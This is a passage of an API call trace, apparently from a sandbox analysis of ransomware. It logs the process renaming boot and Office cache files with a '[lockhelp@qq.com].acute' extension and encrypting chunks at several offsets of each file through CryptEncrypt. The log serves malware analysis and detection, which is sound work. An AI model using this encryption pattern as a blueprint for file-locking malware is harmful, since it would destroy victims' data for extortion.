dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.278] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=87616) returned 1 [0047.278] CloseHandle (hObject=0x18c) returned 1 [0047.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0047.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.278] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.278] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.279] ResetEvent (hEvent=0x12c) returned 1 [0047.279] SetEvent (hEvent=0x138) returned 1 [0047.279] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.279] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.279] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=87104) returned 1 [0047.279] CloseHandle (hObject=0x18c) returned 1 [0047.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0047.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.279] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.279] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.280] ResetEvent (hEvent=0x12c) returned 1 [0047.280] SetEvent (hEvent=0x138) returned 1 [0047.280] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.280] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.281] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=70720) returned 1 [0047.281] CloseHandle (hObject=0x18c) returned 1 [0047.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0047.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.281] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.281] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.282] ResetEvent (hEvent=0x12c) returned 1 [0047.282] SetEvent (hEvent=0x138) returned 1 [0047.282] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.282] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.282] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=70224) returned 1 [0047.282] CloseHandle (hObject=0x18c) returned 1 [0047.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0047.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.282] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.282] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.283] ResetEvent (hEvent=0x12c) returned 1 [0047.283] SetEvent (hEvent=0x138) returned 1 [0047.283] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.283] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.283] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=70208) returned 1 [0047.283] CloseHandle (hObject=0x18c) returned 1 [0047.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0047.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.283] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.284] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.285] ResetEvent (hEvent=0x12c) returned 1 [0047.285] SetEvent (hEvent=0x138) returned 1 [0047.285] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.286] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0047.286] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=383786) returned 1 [0047.286] CloseHandle (hObject=0x148) returned 1 [0047.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0047.286] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0047.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\bootmgr.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.286] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.286] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0047.286] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.287] ResetEvent (hEvent=0x12c) returned 1 [0047.287] SetEvent (hEvent=0x138) returned 1 [0047.287] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.287] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.288] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.289] ResetEvent (hEvent=0x12c) returned 1 [0047.289] SetEvent (hEvent=0x138) returned 1 [0047.289] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.289] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.289] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=16972987) returned 1 [0047.290] CloseHandle (hObject=0x190) returned 1 [0047.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0047.290] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0047.290] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.290] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0047.290] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0047.290] ReadFile (in: hFile=0x190, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0047.370] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0047.370] ReadFile (in: hFile=0x190, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0047.399] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0047.399] ReadFile (in: hFile=0x190, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0047.486] CryptImportKey (in: hProv=0x585138, pbData=0x2e7f820, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e7f88c | out: phKey=0x2e7f88c*=0x5931e0) returned 1 [0047.486] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x2e7f928, dwFlags=0x0) returned 1 [0047.487] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0050) returned 1 [0047.496] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.496] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f868 | out: lpNewFilePointer=0x0) returned 1 [0047.496] WriteFile (in: hFile=0x190, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e7f878, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e7f878*=0xc0102, lpOverlapped=0x0) returned 1 [0047.513] SetEndOfFile (hFile=0x190) returned 1 [0047.518] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0047.518] WriteFile (in: hFile=0x190, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0047.520] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0047.520] WriteFile (in: hFile=0x190, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0047.521] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0047.521] WriteFile (in: hFile=0x190, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0047.522] CloseHandle (hObject=0x190) returned 1 [0050.773] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0050.773] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0050.773] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=2513920) returned 1 [0050.773] CloseHandle (hObject=0x190) returned 1 [0050.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0050.774] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0050.774] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0050.774] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0050.774] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0050.774] ReadFile (in: hFile=0x190, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0050.778] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0050.778] ReadFile (in: hFile=0x190, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0050.799] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0050.799] ReadFile (in: hFile=0x190, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0050.840] CryptImportKey (in: hProv=0x585138, pbData=0x2e7f820, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e7f88c | out: phKey=0x2e7f88c*=0x593060) returned 1 [0050.840] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x2e7f928, dwFlags=0x0) returned 1 [0050.840] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0060) returned 1 [0050.847] CryptDestroyKey (hKey=0x593060) returned 1 [0050.847] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f868 | out: lpNewFilePointer=0x0) returned 1 [0050.847] WriteFile (in: hFile=0x190, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e7f878, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e7f878*=0xc0112, lpOverlapped=0x0) returned 1 [0050.863] SetEndOfFile (hFile=0x190) returned 1 [0050.863] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0050.863] WriteFile (in: hFile=0x190, lpBuffer=0x362014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362014a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0050.865] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0050.865] WriteFile (in: hFile=0x190, lpBuffer=0x362014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362014a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0050.982] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0050.982] WriteFile (in: hFile=0x190, lpBuffer=0x362014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362014a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0050.983] CloseHandle (hObject=0x190) returned 1 [0051.571] SetEvent (hEvent=0x11c) returned 1 [0051.571] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0051.571] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.572] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=9958388) returned 1 [0051.572] CloseHandle (hObject=0x190) returned 1 [0051.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0051.572] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0051.573] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.573] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0051.573] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0051.573] ReadFile (in: hFile=0x190, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0052.216] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0052.216] ReadFile (in: hFile=0x190, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0052.227] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f830 | out: lpNewFilePointer=0x0) returned 1 [0052.227] ReadFile (in: hFile=0x190, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e7f83c, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e7f83c*=0x40000, lpOverlapped=0x0) returned 1 [0052.257] CryptImportKey (in: hProv=0x585138, pbData=0x2e7f820, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e7f88c | out: phKey=0x2e7f88c*=0x5931a0) returned 1 [0052.257] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x2e7f928, dwFlags=0x0) returned 1 [0052.257] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3560020*, pdwDataLen=0x2e7f840*=0xc0050) returned 1 [0052.264] CryptDestroyKey (hKey=0x5931a0) returned 1 [0052.264] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f868 | out: lpNewFilePointer=0x0) returned 1 [0052.264] WriteFile (in: hFile=0x190, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e7f878, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e7f878*=0xc0102, lpOverlapped=0x0) returned 1 [0052.284] SetEndOfFile (hFile=0x190) returned 1 [0052.284] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2e7f838 | out: lpNewFilePointer=0x0) returned 1 [0052.284] WriteFile (in: hFile=0x190, lpBuffer=0x362013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e7f844, lpOverlapped=0x0 | out: lpBuffer=0x362013a*, lpNumberOfBytesWritten=0x2e7f844*=0x40000, lpOverlapped=0x0) returned 1 [0052.513] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x32a6a6, 